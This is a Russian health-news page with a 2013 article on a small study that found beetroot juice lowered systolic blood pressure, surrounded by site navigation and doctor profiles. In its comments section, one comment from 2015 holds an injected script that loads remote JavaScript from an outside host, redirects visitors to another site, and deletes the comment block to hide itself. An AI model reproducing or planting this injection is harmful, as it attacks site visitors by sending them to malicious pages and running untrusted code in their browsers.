Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Свекольный сок снижает да...  >>  Свекольный сок снижает давление
 
Обратная связь
 

Свекольный сок снижает давление

Размер шрифта
12 марта 2013 00:00
  • google_analytics: false
  • Нравится

Согласно данным нового исследования, стакан свекольного сока помогает снизить артериальное давление.

Свекольный сок снижает давление

В небольшом исследовании приняли участие 15 мужчин и 15 женщин, которые выпили по стакану свекольного сока или плацебо, после чего в течение суток врачи наблюдали за их состоянием. Через две недели процедуру повторили, и участники поменялись местами: те, кто выпил свекольный сок, на этот раз выпили плацебо и наоборот.

Через 6 часов после употребления свекольного сока, как мужчин, так и у женщин наметилась тенденция к снижению систолического артериального давления. При анализе результатов только для мужчин оказалось, что систолическое давление у них снизилось в среднем на 4,7 мм рт.ст.

По мнению экспертов гипотензивный эффект обусловлен тем, что в свекле содержатся нитраты. Попадая в наш организм, нитраты превращаются в оксид азота, который расширяет кровеносные сосуды, что сопровождается снижением артериального давления. «Людям с повышенным давлением следует употреблять продукты, богатые нитратами – свеклу и листовые овощи. А лучше всего придерживаться диеты DASH, которая специально разработана для гипертоников и включает овощи, фрукты, низкокалорийные молочные продукты, цельнозерновые продукты, рыбу и птицу», – поясняет диетолог Норман Хорд.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:23

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
3 теста, когда мерзнут ноги   Надо завести сердце? Выпей кофе!   Как измерить артериальное давление в домашних условиях   Вам назначили новое лекарство. О чем спросить врача?  
19 апреля 2013Сколько вы получаете напрямую влияет на ваше давление! Сколько надо получать, чтобы быть здоровым – ученые ответили на этот вопрос! 09 июня 2012Метаболический синдром чаще встречается у женщин
 
30 января 2012Измерение давления на обеих руках спасет жизнь 16 января 2012Опасные соединения помогают нормализовать давление
 

Слайдшоу

1
А вы сойдете с ума в старости?
Что вы знаете об инсульте
Тесты, которые должен сделать каждый мужчина. Часть 1

Тесты

1
Будет ли у вас инфаркт?
Что вы знаете о холестерине?
Грозит ли вам инфаркт миокарда?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.